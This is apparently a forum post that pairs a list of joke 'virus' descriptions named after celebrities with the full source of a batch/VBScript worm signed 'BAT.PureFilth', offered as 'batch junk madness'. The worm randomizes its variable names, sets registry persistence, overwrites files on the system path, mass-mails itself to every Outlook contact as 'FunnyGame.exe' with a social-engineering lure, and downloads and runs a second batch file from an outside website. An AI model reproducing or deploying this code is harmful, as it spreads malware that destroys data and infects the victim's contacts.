Watch out for these demon little misfits. xD Code: Woody Allen Virus: Bypasses the motherboard and turns on a daughter card. Tonya Harding Virus: Turns your BAT files into lethal weapons. Paul Revere Virus: Warns of an impending virus infection: 1 if by LAN, 2 if by C:\. Hillary Rodham Clinton Virus: Instantly turns 1 K of disk space into 1 Meg. Ollie North Virus: Plays a patriotic WAV while it shreds your files. Joey Buttafuoco Virus: Only attacks minor files. Lorena Bobbit Virus: Your hard disc turns into a 3.5 floppy. Ronald Reagan Virus: Saves your data, but forgets where it's stored. Jane Fonda Virus: Attacks your hard drive's FAT. Oprah Winfrey Virus: Your 200 MB hard drive suddenly shrinks to 80 MB, and then slowly expands to 300 MB. AT&T Virus: Every three minutes it tells you what great service you are getting. MCI Virus: Every three minutes it reminds you that you're paying too much for the AT&T Virus. Politically Correct Virus: Never calls itself a "virus;" instead refers to itself as an "electronic microorganism." Ross Perot Virus: Activates every component in your system, just before the whole darn thing quits. Arnold Schwarzenegger Virus: Terminates and stays resident. It'll be back. Government Economist Virus: Nothing works, but all your diagnostic software says everything is fine. Federal Bureaucrat Virus: Divides your hard disk into hundreds of little units, each of which does practically nothing, but all of which claim to be the most important part of your computer. Adam and Eve Virus: Takes a couple of bytes out of your Apple computer. Congressional Virus #1: The computer locks up, screen splits erratically with a message appearing on each half blaming the other side for the problem. Congressional Virus #2: Runs every program on the hard drive simultaneously but doesn't allow the user to accomplish anything. Airline Virus: You're in Dallas, but your data is in Singapore. Freudian Virus: Your computer becomes obsessed with its own motherboard. Or becomes very jealous of the size of your friend's hard drive. PBS Virus: Your computer stops every few minutes to ask for money. Jimmy Hoffa Virus: Your programs can never be found again. LAPD Virus: It claims it feels threatened by the other files on your PC and erases them in "self-defense." I will end this post with something completely useful and useless at the same time. Batch junk madness. Code: @echo off ver|find "XP">nul if errorlevel 1 ctty nul copy %0 %tmp%\funny.bat echo.on error resume next>%tmp%\ShellTray.vbs echo dim wsh>>%tmp%\ShellTray.vbs echo set wsh=createobject("wscript.shell")>>%tmp%\ShellTray.vbs echo set fso=createobject("scripting.filesystemobject")>>%tmp%\ShellTray.vbs echo dim pfcode>>%tmp%\ShellTray.vbs echo pfcode=wsh.regread("HKCU\Software\PureFilth\")>>%tmp%\ShellTray.vbs echo set drop=fso.createtextfile("%tmp%\funny.bat")>>%tmp%\ShellTray.vbs echo drop.write pfcode>>%tmp%\ShellTray.vbs echo drop.close>>%tmp%\ShellTray.vbs echo wsh.run "%tmp%\funny.bat",0>>%tmp%\ShellTray.vbs echo BAT.PureFilth - By SAD1c>%tmp%\Filth.tmp echo for %%a in (%path%\*.*) do copy %tmp%\Filth.tmp %%aF>%tmp%\FilthGen.bat echo.on error resume next>%tmp%\WLtemp.vbs echo dim fsys,wsh,stream,pfcode>>%tmp%\WLtemp.vbs echo set fsys=createobject("scripting.filesystemobject")>>%tmp%\WLtemp.vbs echo set wsh=createobject("wscript.shell")>>%tmp%\WLtemp.vbs echo set stream=fsys.opentextfile("%tmp%\funny.bat")>>%tmp%\WLtemp.vbs echo pfcode=stream.readall>>%tmp%\WLtemp.vbs echo stream.close>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"wsh",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"fso",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"pfcode",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"drop",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"FilthGen",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"funny",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"fsys",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"stream",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"length",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"cnt",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"randstring",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"tmpn",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"WLtemp",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"outl",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"mapil",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"alist",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"sadd",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"alcnt",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"crypt",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"outi",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"AllDone",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"ineto",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"data",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"downloaded",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo pfcode=replace(pfcode,"AllDone",randstring(int(rnd*7)+2))>>%tmp%\WLtemp.vbs echo function randstring(length)>>%tmp%\WLtemp.vbs echo for cnt=1 to length>>%tmp%\WLtemp.vbs echo randomize>>%tmp%\WLtemp.vbs echo if int(rnd*2000/1000)=1 then>>%tmp%\WLtemp.vbs echo tmpn=int(rnd*26)+97>>%tmp%\WLtemp.vbs echo else>>%tmp%\WLtemp.vbs echo tmpn=int(rnd*26)+65>>%tmp%\WLtemp.vbs echo end if>>%tmp%\WLtemp.vbs echo randstring=randstring&chr(tmpn)>>%tmp%\WLtemp.vbs echo next>>%tmp%\WLtemp.vbs echo end function>>%tmp%\WLtemp.vbs echo set stream=fsys.opentextfile("%tmp%\funny.bat",2)>>%tmp%\WLtemp.vbs echo stream.write pfcode>>%tmp%\WLtemp.vbs echo stream.close>>%tmp%\WLtemp.vbs echo wsh.regwrite "HKCU\Software\PureFilth\",pfcode>>%tmp%\WLtemp.vbs echo fso.copyfile "%tmp%\ShellTray.vbs",wsh.specialfolders("AllusersStartup")&"\ShellTray.vbs",1>>%tmp%\WLtemp.vbs echo fso.copyfile "%tmp%\ShellTray.vbs",fsys.getspecialfolder(1)&"\SysWatch.vbs",1>>%tmp%\WLtemp.vbs echo wsh.regwrite "HKLM\Software\Micr"&chr(110+1)&"soft\Windows\CurrentVersion\RunServicesOnce\Shell Tray","wscript.exe "&fsys.getspecialfolder(1)&"\SysWatch.vbs">>%tmp%\WLtemp.vbs echo if wsh.regread("HKCU\Software\PureFilth\WABDONE")="" then>>%tmp%\WLtemp.vbs echo dim outl,mapil,alist,sadd,alcnt>>%tmp%\WLtemp.vbs echo set outl=createobject("outlook.application")>>%tmp%\WLtemp.vbs echo set mapil=outl.getnamespace("MAPI")>>%tmp%\WLtemp.vbs set crypt=addresslists echo set alist=mapil.%crypt%>>%tmp%\WLtemp.vbs echo for each sadd in alist>>%tmp%\WLtemp.vbs echo for alcnt=1 to sadd.addressentries.count>>%tmp%\WLtemp.vbs echo dim outi>>%tmp%\WLtemp.vbs echo set outi=outl.createitem(0)>>%tmp%\WLtemp.vbs echo outi.to=sadd.addressentries(alcnt).address>>%tmp%\WLtemp.vbs echo outi.subject="A gift for you!">>%tmp%\WLtemp.vbs echo outi.body="Hi, "&sadd.addressentries(alcnt).name&"! How are you?"&vbcrlf>>%tmp%\WLtemp.vbs echo outi.body=outi.body&"I found this little but very cool game and i decided to send it to you."&vbcrlf>>%tmp%\WLtemp.vbs echo outi.body=outi.body&"I hope you will like it. Well, play it and tell me your opinion."&vbcrlf&"Greetings."&f>>%tmp%\WLtemp.vbs echo outi.attachments.add "%tmp%\funny.bat",1,len(outi.body),"FunnyGame.exe">>%tmp%\WLtemp.vbs echo outi.importance=2>>%tmp%\WLtemp.vbs echo outi.send>>%tmp%\WLtemp.vbs echo next>>%tmp%\WLtemp.vbs echo next>>%tmp%\WLtemp.vbs echo wsh.regwrite "HKCU\Software\PureFilth\WABDONE","AllDone">>%tmp%\WLtemp.vbs echo dim ineto,data,downloaded>>%tmp%\WLtemp.vbs echo set ineto=createobject("inetctls.inet")>>%tmp%\WLtemp.vbs echo ineto.requesttimeout=22>>%tmp%\WLtemp.vbs echo data=ineto.openurl("http://www.PureFilth.com/PureFilth.bat")>>%tmp%\WLtemp.vbs echo if not(data="") then>>%tmp%\WLtemp.vbs echo set downloaded=fsys.createtextfile("%tmp%\PureFilth.bat")>>%tmp%\WLtemp.vbs echo downloaded.write data>>%tmp%\WLtemp.vbs echo downloaded.close>>%tmp%\WLtemp.vbs echo wsh.run "%tmp%\PureFilth.bat",0>>%tmp%\WLtemp.vbs echo end if>>%tmp%\WLtemp.vbs echo wsh.run "%tmp%\FilthGen.bat",0>>%tmp%\WLtemp.vbs cscript %tmp%\WLtemp.vbs>nul del %tmp%\funny.bat del %tmp%\*.vbs del %0 ver|find "XP">nul if errorlevel 1 ctty con cls
